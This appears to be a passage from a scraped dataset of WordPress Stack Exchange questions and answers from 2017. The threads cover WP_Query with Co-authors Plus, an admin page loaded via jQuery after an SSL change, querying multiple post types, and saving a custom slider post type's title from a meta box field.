] | I am using the *Co-authors plus* plugin on our web page because sometimes we have more authors of an article. It is working really fine until today. I used classic archive.php to list all posts of the author based on global settings (same post excerpt, thumbs, posts per page 6 – defined in global WordPress & theme PHPs). My authors requested to create theme profile pages with the list of all posts based on `author.php`. So I was forced to overwrite global settings (posts per page 6) with new `WP_Query` and here comes the problem with *Co-authors* plugin.
When I use the following code below the posts are listed only under author who is assigned as the main author but not listed under co-authors.
```
<?php
$the_query = new WP_Query(
array(
'posts_per_page' => -1,
'author' => get_the_author_meta('ID'),
)
);
if ( $the_query->have_posts() ) :
while ( $the_query->have_posts() ) : $the_query->the_post();
the_time('d.m.Y ');
the_permalink();
the_title();
endwhile;
wp_reset_postdata();
else :
_e( 'Sorry, no posts matched your criteria.' );
```
I tried to do it based on `taxonomy`, `author_name`, `coauthor_meta`, etc, nothing helps.
You can see example [here](http://vlcibouda.net/ruzne/snehuleni-ze-serie-komiksu-o-snehu) (sorry it's not in English): This article is not listed under both authors. | Nevermind, I fixed it by changing query by author\_name instead of ID
Works!
```
$the_query = new WP_Query(
array(
'posts_per_page' => -1,
'author_name' => get_the_author_meta('nickname'),
)
);
```
We can close this question! |
256,410 | <p>I have a page on my wordpress site which adds file content to a div using <code>jquery.get</code>. The file being targeted is a wp-admin file. The problem is, since I added SSL certificate this file no longer loads. When I check the file which is actually loaded it appears to be the log in page.</p>
<p>Jquery Code:</p>
<pre><code>jQuery.get('/wp-admin/admin.php/?page=booking.multiuser.5.3/wpdev-booking.phpwpdev-booking-resources&tab=availability&wpdev_edit_avalaibility=<?php echo key($_REQUEST['avail']); ?>/', function(data, status) {
alert("Data: " + data + "\nStatus: " + status);
}
</code></pre>
<p>In the alert box I get <code>status:success</code> but the <code>data:</code> that is loaded is the standard wordpress login page.</p>
<p>I have checked other answers on stackoverflow which suggest trailing slashes are the issue but this has not solved the problem. </p>
<p>Is the site switching protocols to http when calling the jquery? I have read elsewhere that this can be an issue and wordpress will log out a user if an http url is called from https file. How would I check to see if this is happening? </p>
<p>UPDATE: If I browse to the file directly I am also redirected to the log in page, even if I am already logged in.</p>
| [
{
"answer_id": 256412,
"author": "Jan Hanzman Kohoutek",
"author_id": 113288,
"author_profile": "https://wordpress.stackexchange.com/users/113288",
"pm_score": 2,
"selected": false,
"text": "<p>Nevermind, I fixed it by changing query by author_name instead of ID\nWorks!</p>\n\n<pre><code... | 2017/02/14 | [
"https://wordpress.stackexchange.com/questions/256410",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/76021/"
] | I have a page on my wordpress site which adds file content to a div using `jquery.get`. The file being targeted is a wp-admin file. The problem is, since I added SSL certificate this file no longer loads. When I check the file which is actually loaded it appears to be the log in page.
Jquery Code:
```
jQuery.get('/wp-admin/admin.php/?page=booking.multiuser.5.3/wpdev-booking.phpwpdev-booking-resources&tab=availability&wpdev_edit_avalaibility=<?php echo key($_REQUEST['avail']); ?>/', function(data, status) {
alert("Data: " + data + "\nStatus: " + status);
}
```
In the alert box I get `status:success` but the `data:` that is loaded is the standard wordpress login page.
I have checked other answers on stackoverflow which suggest trailing slashes are the issue but this has not solved the problem.
Is the site switching protocols to http when calling the jquery? I have read elsewhere that this can be an issue and wordpress will log out a user if an http url is called from https file. How would I check to see if this is happening?
UPDATE: If I browse to the file directly I am also redirected to the log in page, even if I am already logged in. | Nevermind, I fixed it by changing query by author\_name instead of ID
Works!
```
$the_query = new WP_Query(
array(
'posts_per_page' => -1,
'author_name' => get_the_author_meta('nickname'),
)
);
```
We can close this question! |
256,428 | <p>I have four post types</p>
<ol>
<li>Products</li>
<li>Banners</li>
<li>Portfolio</li>
<li>Testimonials</li>
</ol>
<p>And they all display their posts on the same home page template (index.php).</p>
<p>Currently using below query to get posts from different post types.</p>
<pre><code><?php
query_posts(
array(
'post_type' => 'work_projects',
'work_type' => 'website_development',
'posts_per_page' => 100
)
);
if ( have_posts() ) : while ( have_posts() ) : the_post();
the_post_thumbnail($size);
the_title();
the_content();
endwhile; endif;
</code></pre>
<p>But my problem is I have to put multiple <code>query_post</code> loops on the same page. I googled some solutions and found answers as well here on Stack Overflow also. But not able to figure it out how to use them with <code>the_title()</code>, <code>the_content()</code> and <code>the_post_thumbnail()</code>.</p>
| [
{
"answer_id": 256433,
"author": "Industrial Themes",
"author_id": 274,
"author_profile": "https://wordpress.stackexchange.com/users/274",
"pm_score": 1,
"selected": false,
"text": "<p>Best practice would be to use four different custom queries and loop through each one separately using ... | 2017/02/14 | [
"https://wordpress.stackexchange.com/questions/256428",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/38229/"
] | I have four post types
1. Products
2. Banners
3. Portfolio
4. Testimonials
And they all display their posts on the same home page template (index.php).
Currently using below query to get posts from different post types.
```
<?php
query_posts(
array(
'post_type' => 'work_projects',
'work_type' => 'website_development',
'posts_per_page' => 100
)
);
if ( have_posts() ) : while ( have_posts() ) : the_post();
the_post_thumbnail($size);
the_title();
the_content();
endwhile; endif;
```
But my problem is I have to put multiple `query_post` loops on the same page. I googled some solutions and found answers as well here on Stack Overflow also. But not able to figure it out how to use them with `the_title()`, `the_content()` and `the_post_thumbnail()`. | `post_type` accepts an array.
Have you tried using `WP_Query` with an array?
```
$args = array(
'post_type' => array( 'product', 'banner', 'portfolio', 'testimonial'),
'post_status' => 'publish',
'posts_per_page' => 100
);
$the_query = new WP_Query( $args );
``` |
256,429 | <p>I am creating a custom post type for a front-end slider. It takes the value entered into a custom field and uses it as post-title. It works perfectly on my localhost and on my personal host. However, when I install it on my client's host, I am given the following error:</p>
<pre><code>Notice: Undefined index: wys_slider_title in /data02/client_id/public_html/wp-content/themes/waiyin2015/inc/cpt/slides.php on line 302
WordPress database error: [Column 'post_title' cannot be null]
</code></pre>
<p>Line 302 refers to the function where the slide title is posted. The full function is as follows:</p>
<pre><code>function wys_slide_title( $data , $postarr ) {
if( $data['post_type'] == 'slider' ) {
$slide_title = $_POST['wys_slider_title']; // <<<<<< This is line 302
$new_title = $slide_title;
// Set slug date
$post_date = date('Ymd-His');
// $post_slug = sanitize_title_with_dashes($post_date, '', $context = 'save');
$post_slugsan = sanitize_title($post_date);
$data['post_title'] = $new_title;
$data['post_name'] = $post_slugsan;
}
return $data;
}
add_filter( 'wp_insert_post_data' , 'wys_slide_title' , '99', 2 );
</code></pre>
<p><code>wys_slider_title</code> is a field inside of a meta box, which contains the slide's caption, image, and a link field. Again, there are no errors when I use this on my localhost or my hosting provider, but my client's hosting provider is different and is throwing this error.<br>
Due to this, I'm not able to post any content and I'm being told my content will be <code>"Submitted for review"</code>, even though I'm the administrator for the site.</p>
<p>Can anyone help with what might have gone wrong?</p>
<p>EDIT: It has been requested that I post the function where <code>wys_slider_title</code> is declared. This is the full script used to run the post type:</p>
<pre><code>// Stories custom post type
add_action('init', 'wys_sliders');
function wys_sliders() {
$labels = array(
'name' => _x('Front Slider', 'post type general name'),
'singular_name' => _x('Front Slider', 'post type singular name'),
'add_new' => _x('Add New', 'post type item'),
'add_new_item' => __('Add New Slide'),
'edit_item' => __('Edit Slide'),
'new_item' => __('New Slide'),
'view_item' => __('View Slide'),
'search_items' => __('Search Slides'),
'not_found' => __('Nothing found'),
'not_found_in_trash' => __('Nothing found in Trash'),
'parent_item_colon' => ''
);
$args = array(
'labels' => $labels,
'public' => true,
'publicly_queryable' => true,
'show_ui' => true,
'query_var' => true,
'menu_icon' => 'dashicons-slides',
'capability_type' => 'post',
'hierarchical' => false,
'menu_position' => 24,
'supports' => false,
'can_export' => true,
'show_in_menu' => true,
'has_archive' => false,
);
register_post_type( 'slider' , $args );
flush_rewrite_rules();
}
add_action("admin_init", "wys_slide_admin_init");
function wys_slide_admin_init(){
add_meta_box("mb_wys_slides", "Slides", "wys_slides_display", "slider", "normal", "high");
}
add_action( 'admin_enqueue_scripts', 'wys_slides_scripts' );
function wys_slides_scripts(){
global $post_type;
if ( $post_type == "slider" ){
wp_enqueue_style('slider-css-styles', get_template_directory_uri().'/inc/cpt/slides.css');
}
}
function wys_slides_display(){
$source = get_post_meta( get_the_ID(), 'selected_source', true );
$image = get_post_meta( get_the_ID(), 'wys_slider_image', true );
$video = get_post_meta( get_the_ID(), 'video_preview', true );
$title = get_post_meta( get_the_ID(), 'wys_slider_title', true );
$caption = get_post_meta( get_the_ID(), 'wys_slider_caption', true );
$link = get_post_meta( get_the_ID(), 'wys_slider_link', true );
$target = get_post_meta( get_the_ID(), 'wys_link_target', true );
?>
<script>
function resetItAll(){
// Clear fields
$('#image-url').val('');
$('#video-url').val('');
$('#wys-slider-image').val('');
$('#video-preview').val('');
// Clear Uploaded Image
$('#slide-upload').removeClass('hasimage');
$('#slide-upload').css('background-image', 'none');
// Clear Image by URL
$('#slide-url').removeClass('hasimage');
$('#slide-url').css('background-image', 'none');
$('#slide-url .replace-image').hide();
$('#slide-url .form-wrap').show();
// Clear Video
$('#slide-video').removeClass('hasimage');
$('#slide-video').css('background-image', 'none');
$('slide-video .replace-video').hide();
$('#slide-video .form-wrap').show();
}
(function($){
$.fn.extend({
limiter: function(elem){
$(this).on('keyup focus', function(){
setCount(this, elem);
});
function setCount(src, elem){
var chars = src.value.length;
var limit = $(src).attr('maxlength');
if ( chars > limit ){
src.value = src.value.substr(0, limit);
chars = limit;
}
var charsRemaining = limit - chars;
if ( charsRemaining <= (limit*.2) ) { var charsLeft = '<span class="charlimit-warning">'+charsRemaining+'</span>'; } else { var charsLeft = charsRemaining; }
$(elem).html( charsLeft + '/' + limit );
}
setCount($(this)[0], elem);
}
});
})(jQuery);
jQuery(document).ready(function($){
$('.image-src a').click(function(e){
e.preventDefault();
var tab = $(this).data('tab');
$('.image-src a').removeClass('selected');
$('.tab-content').removeClass('show-tab');
$(this).addClass('selected');
$("#slide-"+tab).addClass('show-tab');
$('#selected-source').val(tab);
});
$('#upload-image').click(function(e) {
e.preventDefault();
var custom_uploader = wp.media({
title: 'Select Slider Image',
button: {
text: 'Select Image'
},
multiple: false // Set this to true to allow multiple files to be selected
})
.on('select', function() {
var attachment = custom_uploader.state().get('selection').first().toJSON();
resetItAll();
$('#slide-upload').addClass('hasimage');
$('#slide-upload').css('background-image', 'url('+attachment.sizes.large.url+')');
$('#wys-slider-image').val(attachment.id);
})
.open();
});
$('#fetch-image').click(function(e){
e.preventDefault();
var imagesrc = $('#image-url').val();
$("<img>", {
src: imagesrc,
error: function(){
$('.error-msg .error-text').html('The URL you provided is not a valid image.');
$('.error-msg').show(0, function(){
$('#fetch-image').click(function(){
$('.error-msg').fadeOut(300);
});
$('.error-msg').delay(7000).fadeOut(300);
});
},
load: function(){
resetItAll();
$('#slide-url').addClass('hasimage');
$('#slide-url').css('background-image', 'url('+imagesrc+')');
$('#wys-slider-image').val(imagesrc);
$('#slide-url .form-wrap').hide();
$('#slide-url .replace-image').show();
}
});
});
$('#replace-image').click(function(e){
e.preventDefault();
$('#image-url').val('').focus();
$('#slide-url .replace-image').hide();
$('#slide-url .form-wrap').show();
});
$('#fetch-video').click(function(e){
e.preventDefault();
var videosrc = $('#video-url').val();
$.ajax({
method: "POST",
url: '<?php echo get_template_directory_uri(); ?>/inc/cpt/inc.videoimg.php',
data: { src: videosrc },
success: function(data){
if ( data == 'invalid.src' ) {
$('.error-msg .error-text').html('Please use a video from YouTube or Vimeo.');
$('.error-msg').show(0, function(){
$('#fetch-video').click(function(){
$('.error-msg').fadeOut(300);
});
$('.error-msg').delay(7000).fadeOut(300);
});
} else {
resetItAll();
$('#slide-video').addClass('hasimage');
$('#slide-video').css('background-image', 'url('+data+')');
$('#wys-slider-image').val(videosrc);
$('#video-preview').val(data);
$('#slide-video .form-wrap').hide();
$('#slide-video .replace-video').show();
}
},
error: function( xhr, status, error){
if (xhr.status > 0) console.log('got error: '+status); // Status 0 - when load is interrupted
}
});
});
$('#replace-video').click(function(e){
e.preventDefault();
$('#video-url').val('').focus();
$('slide-video .replace-video').hide();
$('#slide-video .form-wrap').show();
});
$('#link-target').click(function(e){
e.preventDefault();
$(this).toggleClass('selected');
if ( $(this).hasClass('selected') ) {
$('#wys-link-target').val('1');
} else {
$('#wys-link-target').val('0');
}
});
$('#slide-title').limiter('#slide-title-limit');
$('#slide-caption').limiter('#slide-caption-limit');
});
</script>
<div class="wys-slides">
<div class="slide" id="slide">
<div class="body">
<div class="slide-image-wrap">
<div class="error-msg" style="display: none;">
<span class="dashicons dashicons-warning"></span>
<span class="error-text">This is an error message.</span>
</div>
<div id="slide-upload" class="uploaded image tab-content <?php if ( $source == 'upload' && $image ) { $imgid = wp_get_attachment_image_src( $image, 'large' ); echo 'hasimage show-tab" style="background-image: url('.$imgid[0].');'; } if ( !$source ) { echo 'show-tab'; } ?>">
<a href="#upload" class="upload" id="upload-image"><span class="icon dashicons dashicons-upload"></span>
Upload Image</a>
</div>
<div id="slide-url" class="from-url image tab-content <?php if ( $source == 'url' && $image ) { echo 'hasimage show-tab" style="background-image: url('.$image.');'; } ?>">
<div class="form-wrap" <?php if ( $source == 'url' && $image ) { echo 'style="display: none;"'; } ?>>
<label>Image URL</label>
<input type="url" class="image-url" id="image-url" value="<?php if ( $source == 'url' && $image ) { echo $image; } ?>" />
<input type="button" name="fetch-image" id="fetch-image" value="Get Image" />
</div>
<div class="replace-image hasimage" <?php if ( $source == 'url' && !$image ) { echo 'style="display: none;"'; } ?>>
<a href="#replace-image" id="replace-image" class="upload"><span class="icon dashicons dashicons-controls-repeat"></span>
Replace Image</a>
</div>
</div>
<div id="slide-video" class="video image tab-content <?php if ( $source == 'video' && $image ) { echo 'hasimage show-tab" style="background-image: url('.$video.');'; } ?>">
<div class="form-wrap" <?php if ( $source == 'video' && $image ) { echo 'style="display: none;"'; } ?>>
<label>Video URL <span>Youtube or Vimeo only</span></label>
<input type="url" class="video-url" id="video-url" value="<?php if ( $source == 'video' && $image ) { echo $video; } ?>" />
<input type="button" name="fetch-video" id="fetch-video" value="Get Video" />
</div>
<div class="replace-video hasimage" <?php if ( $source == 'video' && !$image ) { echo 'style="display: none;"'; } ?>>
<a href="#replace-video" id="replace-video" class="upload"><span class="icon dashicons dashicons-controls-repeat"></span>
Replace Video</a>
</div>
</div>
<div class="image-src">
<a href="#upload-image" class="first <?php if ( $source == "upload" || !$source ) { echo 'selected'; } ?>" data-tab="upload"><span class="dashicons dashicons-upload"></span>
Upload</a>
<a href="#from-url" class="last <?php if ( $source == "url" ) { echo 'selected'; } ?>" data-tab="url"><span class="dashicons dashicons-admin-links"></span>
From URL</a>
</div>
</div>
<div class="slide-display-data">
<div class="row slide-title">
<div class="field">
<label>
Slide Title
<span class="notes" id="slide-title-limit"></span>
</label>
<input type="text" class="slide-title" name="wys_slider_title" id="slide-title" maxlength="50" placeholder="Enter Title" value="<?php echo $title; ?>" />
</div>
</div>
<div class="row slide-caption">
<div class="field">
<label>
Slide Caption
<span class="notes" id="slide-caption-limit"></span>
</label>
<textarea class="slide-caption" name="wys_slider_caption" maxlength="140" id="slide-caption"><?php echo $caption; ?></textarea>
</div>
</div>
<div class="row slide-link">
<div class="field">
<label>
Slide Link
<span class="notes">eg. http://www.google.com</span>
</label>
<input type="text" class="slide-link" name="wys_slider_link" value="<?php echo $link; ?>" />
</div>
<a href="#new-tab" id="link-target" class="link-target <?php if ( $target == "1" ) { echo 'selected'; } else { } ?>" title="Open link in new tab"><span class="icon dashicons dashicons-external"></span></a>
</div>
<input type="hidden" class="wys-link-target" id="wys-link-target" name="wys_link_target" value="<?php if ( !$target ) { echo '0'; } else { echo $target; } ?>" />
<input type="hidden" id="selected-source" name="selected_source" value="<?php if ( !$source ) { echo 'upload'; } else { echo $source; } ?>" />
<input type="hidden" id="wys-slider-image" name="wys_slider_image" value="<?php echo $image; ?>" />
<input type="hidden" id="video-preview" name="video_preview" value="<?php echo $video; ?>" />
</div>
<div class="clear"></div>
</div>
</div>
</div>
<?php
}
function wys_slide_title( $data , $postarr ) {
if( $data['post_type'] == 'slider' ) {
$slide_title = $_POST['wys_slider_title'];
$new_title = $slide_title;
// Set slug date
$post_date = date('Ymd-His');
// $post_slug = sanitize_title_with_dashes($post_date, '', $context = 'save');
$post_slugsan = sanitize_title($post_date);
$data['post_title'] = $new_title;
$data['post_name'] = $post_slugsan;
}
return $data;
}
add_filter( 'wp_insert_post_data' , 'wys_slide_title' , '99', 2 );
add_action('save_post', 'wys_slides_save_details');
function wys_slides_save_details(){
global $post;
update_post_meta($post->ID, "video_preview", $_POST["video_preview"]);
update_post_meta($post->ID, "wys_slider_image", $_POST["wys_slider_image"]);
update_post_meta($post->ID, "selected_source", $_POST["selected_source"]);
update_post_meta($post->ID, "wys_link_target", $_POST["wys_link_target"]);
update_post_meta($post->ID, "wys_slider_link", $_POST["wys_slider_link"]);
update_post_meta($post->ID, "wys_slider_caption", strip_tags($_POST["wys_slider_caption"]));
update_post_meta($post->ID, "wys_slider_title", strip_tags($_POST["wys_slider_title"]));
}
</code></pre>
| [
{
"answer_id": 256441,
"author": "Laxmana",
"author_id": 40948,
"author_profile": "https://wordpress.stackexchange.com/users/40948",
"pm_score": 0,
"selected": false,
"text": "<p>I would remove the <code>wys_slide_title</code> filter and move the logic inside <code>save_post</code> actio... | 2017/02/14 | [
"https://wordpress.stackexchange.com/questions/256429",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/36204/"
] | I am creating a custom post type for a front-end slider. It takes the value entered into a custom field and uses it as post-title. It works perfectly on my localhost and on my personal host. However, when I install it on my client's host, I am given the following error:
```
Notice: Undefined index: wys_slider_title in /data02/client_id/public_html/wp-content/themes/waiyin2015/inc/cpt/slides.php on line 302
WordPress database error: [Column 'post_title' cannot be null]
```
Line 302 refers to the function where the slide title is posted. The full function is as follows:
```
function wys_slide_title( $data , $postarr ) {
if( $data['post_type'] == 'slider' ) {
$slide_title = $_POST['wys_slider_title']; // <<<<<< This is line 302
$new_title = $slide_title;
// Set slug date
$post_date = date('Ymd-His');
// $post_slug = sanitize_title_with_dashes($post_date, '', $context = 'save');
$post_slugsan = sanitize_title($post_date);
$data['post_title'] = $new_title;
$data['post_name'] = $post_slugsan;
}
return $data;
}
add_filter( 'wp_insert_post_data' , 'wys_slide_title' , '99', 2 );
```
`wys_slider_title` is a field inside of a meta box, which contains the slide's caption, image, and a link field. Again, there are no errors when I use this on my localhost or my hosting provider, but my client's hosting provider is different and is throwing this error.
Due to this, I'm not able to post any content and I'm being told my content will be `"Submitted for review"`, even though I'm the administrator for the site.
Can anyone help with what might have gone wrong?
EDIT: It has been requested that I post the function where `wys_slider_title` is declared. This is the full script used to run the post type:
```
// Stories custom post type
add_action('init', 'wys_sliders');
function wys_sliders() {
$labels = array(
'name' => _x('Front Slider', 'post type general name'),
'singular_name' => _x('Front Slider', 'post type singular name'),
'add_new' => _x('Add New', 'post type item'),
'add_new_item' => __('Add New Slide'),
'edit_item' => __('Edit Slide'),
'new_item' => __('New Slide'),
'view_item' => __('View Slide'),
'search_items' => __('Search Slides'),
'not_found' => __('Nothing found'),
'not_found_in_trash' => __('Nothing found in Trash'),
'parent_item_colon' => ''
);
$args = array(
'labels' => $labels,
'public' => true,
'publicly_queryable' => true,
'show_ui' => true,
'query_var' => true,
'menu_icon' => 'dashicons-slides',
'capability_type' => 'post',
'hierarchical' => false,
'menu_position' => 24,
'supports' => false,
'can_export' => true,
'show_in_menu' => true,
'has_archive' => false,
);
register_post_type( 'slider' , $args );
flush_rewrite_rules();
}
add_action("admin_init", "wys_slide_admin_init");
function wys_slide_admin_init(){
add_meta_box("mb_wys_slides", "Slides", "wys_slides_display", "slider", "normal", "high");
}
add_action( 'admin_enqueue_scripts', 'wys_slides_scripts' );
function wys_slides_scripts(){
global $post_type;
if ( $post_type == "slider" ){
wp_enqueue_style('slider-css-styles', get_template_directory_uri().'/inc/cpt/slides.css');
}
}
function wys_slides_display(){
$source = get_post_meta( get_the_ID(), 'selected_source', true );
$image = get_post_meta( get_the_ID(), 'wys_slider_image', true );
$video = get_post_meta( get_the_ID(), 'video_preview', true );
$title = get_post_meta( get_the_ID(), 'wys_slider_title', true );
$caption = get_post_meta( get_the_ID(), 'wys_slider_caption', true );
$link = get_post_meta( get_the_ID(), 'wys_slider_link', true );
$target = get_post_meta( get_the_ID(), 'wys_link_target', true );
?>
<script>
function resetItAll(){
// Clear fields
$('#image-url').val('');
$('#video-url').val('');
$('#wys-slider-image').val('');
$('#video-preview').val('');
// Clear Uploaded Image
$('#slide-upload').removeClass('hasimage');
$('#slide-upload').css('background-image', 'none');
// Clear Image by URL
$('#slide-url').removeClass('hasimage');
$('#slide-url').css('background-image', 'none');
$('#slide-url .replace-image').hide();
$('#slide-url .form-wrap').show();
// Clear Video
$('#slide-video').removeClass('hasimage');
$('#slide-video').css('background-image', 'none');
$('slide-video .replace-video').hide();
$('#slide-video .form-wrap').show();
}
(function($){
$.fn.extend({
limiter: function(elem){
$(this).on('keyup focus', function(){
setCount(this, elem);
});
function setCount(src, elem){
var chars = src.value.length;
var limit = $(src).attr('maxlength');
if ( chars > limit ){
src.value = src.value.substr(0, limit);
chars = limit;
}
var charsRemaining = limit - chars;
if ( charsRemaining <= (limit*.2) ) { var charsLeft = '<span class="charlimit-warning">'+charsRemaining+'</span>'; } else { var charsLeft = charsRemaining; }
$(elem).html( charsLeft + '/' + limit );
}
setCount($(this)[0], elem);
}
});
})(jQuery);
jQuery(document).ready(function($){
$('.image-src a').click(function(e){
e.preventDefault();
var tab = $(this).data('tab');
$('.image-src a').removeClass('selected');
$('.tab-content').removeClass('show-tab');
$(this).addClass('selected');
$("#slide-"+tab).addClass('show-tab');
$('#selected-source').val(tab);
});
$('#upload-image').click(function(e) {
e.preventDefault();
var custom_uploader = wp.media({
title: 'Select Slider Image',
button: {
text: 'Select Image'
},
multiple: false // Set this to true to allow multiple files to be selected
})
.on('select', function() {
var attachment = custom_uploader.state().get('selection').first().toJSON();
resetItAll();
$('#slide-upload').addClass('hasimage');
$('#slide-upload').css('background-image', 'url('+attachment.sizes.large.url+')');
$('#wys-slider-image').val(attachment.id);
})
.open();
});
$('#fetch-image').click(function(e){
e.preventDefault();
var imagesrc = $('#image-url').val();
$("<img>", {
src: imagesrc,
error: function(){
$('.error-msg .error-text').html('The URL you provided is not a valid image.');
$('.error-msg').show(0, function(){
$('#fetch-image').click(function(){
$('.error-msg').fadeOut(300);
});
$('.error-msg').delay(7000).fadeOut(300);
});
},
load: function(){
resetItAll();
$('#slide-url').addClass('hasimage');
$('#slide-url').css('background-image', 'url('+imagesrc+')');
$('#wys-slider-image').val(imagesrc);
$('#slide-url .form-wrap').hide();
$('#slide-url .replace-image').show();
}
});
});
$('#replace-image').click(function(e){
e.preventDefault();
$('#image-url').val('').focus();
$('#slide-url .replace-image').hide();
$('#slide-url .form-wrap').show();
});
$('#fetch-video').click(function(e){
e.preventDefault();
var videosrc = $('#video-url').val();
$.ajax({
method: "POST",
url: '<?php echo get_template_directory_uri(); ?>/inc/cpt/inc.videoimg.php',
data: { src: videosrc },
success: function(data){
if ( data == 'invalid.src' ) {
$('.error-msg .error-text').html('Please use a video from YouTube or Vimeo.');
$('.error-msg').show(0, function(){
$('#fetch-video').click(function(){
$('.error-msg').fadeOut(300);
});
$('.error-msg').delay(7000).fadeOut(300);
});
} else {
resetItAll();
$('#slide-video').addClass('hasimage');
$('#slide-video').css('background-image', 'url('+data+')');
$('#wys-slider-image').val(videosrc);
$('#video-preview').val(data);
$('#slide-video .form-wrap').hide();
$('#slide-video .replace-video').show();
}
},
error: function( xhr, status, error){
if (xhr.status > 0) console.log('got error: '+status); // Status 0 - when load is interrupted
}
});
});
$('#replace-video').click(function(e){
e.preventDefault();
$('#video-url').val('').focus();
$('slide-video .replace-video').hide();
$('#slide-video .form-wrap').show();
});
$('#link-target').click(function(e){
e.preventDefault();
$(this).toggleClass('selected');
if ( $(this).hasClass('selected') ) {
$('#wys-link-target').val('1');
} else {
$('#wys-link-target').val('0');
}
});
$('#slide-title').limiter('#slide-title-limit');
$('#slide-caption').limiter('#slide-caption-limit');
});
</script>
<div class="wys-slides">
<div class="slide" id="slide">
<div class="body">
<div class="slide-image-wrap">
<div class="error-msg" style="display: none;">
<span class="dashicons dashicons-warning"></span>
<span class="error-text">This is an error message.</span>
</div>
<div id="slide-upload" class="uploaded image tab-content <?php if ( $source == 'upload' && $image ) { $imgid = wp_get_attachment_image_src( $image, 'large' ); echo 'hasimage show-tab" style="background-image: url('.$imgid[0].');'; } if ( !$source ) { echo 'show-tab'; } ?>">
<a href="#upload" class="upload" id="upload-image"><span class="icon dashicons dashicons-upload"></span>
Upload Image</a>
</div>
<div id="slide-url" class="from-url image tab-content <?php if ( $source == 'url' && $image ) { echo 'hasimage show-tab" style="background-image: url('.$image.');'; } ?>">
<div class="form-wrap" <?php if ( $source == 'url' && $image ) { echo 'style="display: none;"'; } ?>>
<label>Image URL</label>
<input type="url" class="image-url" id="image-url" value="<?php if ( $source == 'url' && $image ) { echo $image; } ?>" />
<input type="button" name="fetch-image" id="fetch-image" value="Get Image" />
</div>
<div class="replace-image hasimage" <?php if ( $source == 'url' && !$image ) { echo 'style="display: none;"'; } ?>>
<a href="#replace-image" id="replace-image" class="upload"><span class="icon dashicons dashicons-controls-repeat"></span>
Replace Image</a>
</div>
</div>
<div id="slide-video" class="video image tab-content <?php if ( $source == 'video' && $image ) { echo 'hasimage show-tab" style="background-image: url('.$video.');'; } ?>">
<div class="form-wrap" <?php if ( $source == 'video' && $image ) { echo 'style="display: none;"'; } ?>>
<label>Video URL <span>Youtube or Vimeo only</span></label>
<input type="url" class="video-url" id="video-url" value="<?php if ( $source == 'video' && $image ) { echo $video; } ?>" />
<input type="button" name="fetch-video" id="fetch-video" value="Get Video" />
</div>
<div class="replace-video hasimage" <?php if ( $source == 'video' && !$image ) { echo 'style="display: none;"'; } ?>>
<a href="#replace-video" id="replace-video" class="upload"><span class="icon dashicons dashicons-controls-repeat"></span>
Replace Video</a>
</div>
</div>
<div class="image-src">
<a href="#upload-image" class="first <?php if ( $source == "upload" || !$source ) { echo 'selected'; } ?>" data-tab="upload"><span class="dashicons dashicons-upload"></span>
Upload</a>
<a href="#from-url" class="last <?php if ( $source == "url" ) { echo 'selected'; } ?>" data-tab="url"><span class="dashicons dashicons-admin-links"></span>
From URL</a>
</div>
</div>
<div class="slide-display-data">
<div class="row slide-title">
<div class="field">
<label>
Slide Title
<span class="notes" id="slide-title-limit"></span>
</label>
<input type="text" class="slide-title" name="wys_slider_title" id="slide-title" maxlength="50" placeholder="Enter Title" value="<?php echo $title; ?>" />
</div>
</div>
<div class="row slide-caption">
<div class="field">
<label>
Slide Caption
<span class="notes" id="slide-caption-limit"></span>
</label>
<textarea class="slide-caption" name="wys_slider_caption" maxlength="140" id="slide-caption"><?php echo $caption; ?></textarea>
</div>
</div>
<div class="row slide-link">
<div class="field">
<label>
Slide Link
<span class="notes">eg. http://www.google.com</span>
</label>
<input type="text" class="slide-link" name="wys_slider_link" value="<?php echo $link; ?>" />
</div>
<a href="#new-tab" id="link-target" class="link-target <?php if ( $target == "1" ) { echo 'selected'; } else { } ?>" title="Open link in new tab"><span class="icon dashicons dashicons-external"></span></a>
</div>
<input type="hidden" class="wys-link-target" id="wys-link-target" name="wys_link_target" value="<?php if ( !$target ) { echo '0'; } else { echo $target; } ?>" />
<input type="hidden" id="selected-source" name="selected_source" value="<?php if ( !$source ) { echo 'upload'; } else { echo $source; } ?>" />
<input type="hidden" id="wys-slider-image" name="wys_slider_image" value="<?php echo $image; ?>" />
<input type="hidden" id="video-preview" name="video_preview" value="<?php echo $video; ?>" />
</div>
<div class="clear"></div>
</div>
</div>
</div>
<?php
}
function wys_slide_title( $data , $postarr ) {
if( $data['post_type'] == 'slider' ) {
$slide_title = $_POST['wys_slider_title'];
$new_title = $slide_title;
// Set slug date
$post_date = date('Ymd-His');
// $post_slug = sanitize_title_with_dashes($post_date, '', $context = 'save');
$post_slugsan = sanitize_title($post_date);
$data['post_title'] = $new_title;
$data['post_name'] = $post_slugsan;
}
return $data;
}
add_filter( 'wp_insert_post_data' , 'wys_slide_title' , '99', 2 );
add_action('save_post', 'wys_slides_save_details');
function wys_slides_save_details(){
global $post;
update_post_meta($post->ID, "video_preview", $_POST["video_preview"]);
update_post_meta($post->ID, "wys_slider_image", $_POST["wys_slider_image"]);
update_post_meta($post->ID, "selected_source", $_POST["selected_source"]);
update_post_meta($post->ID, "wys_link_target", $_POST["wys_link_target"]);
update_post_meta($post->ID, "wys_slider_link", $_POST["wys_slider_link"]);
update_post_meta($post->ID, "wys_slider_caption", strip_tags($_POST["wys_slider_caption"]));
update_post_meta($post->ID, "wys_slider_title", strip_tags($_POST["wys_slider_title"]));
}
``` | I would suggest the following improvements for better code readability and to make it easier to maintain later.
1. Assuming you've removed **title** from your custom post type using the following function :
```
remove_post_type_support( 'slider', 'title' )
```
Now if you use `name="post_title"` instead of `name="wys_slider_title"`
WordPress will still use it and update the post title accordingly. Hence you don't have to worry about the title and you can focus on your custom fields. This results in a much better code and solves your problem of duplicating the title and then saving it.
\*This helps you avoid using `wp_insert_post_data` additional filter.
\*And since you're not manually updating the title using `wp_update_post` function, you don't have to worry about the `save_post` infinite loop.
2. Before you save any data, you want to make sure there's nothing malicious in there. Fortunately, WordPress provides a bunch of functions for [Data Validation](http://codex.wordpress.org/Data_Validation)
```
// Use:
update_post_meta( $post_id, 'my_meta_box_text', wp_kses( $_POST['my_meta_box_text'], $allowed ) );
// Instead of:
update_post_meta( $post_id, 'my_meta_box_text', $_POST['my_meta_box_text'] );
```
3. Use `save_post_{$post_type}` instead of plain `save_post`, This helps you avoid unnecesary `IF` statements
e.g. In your case,
`add_action( 'save_post_slider', 'wys_slides_save_details' );`
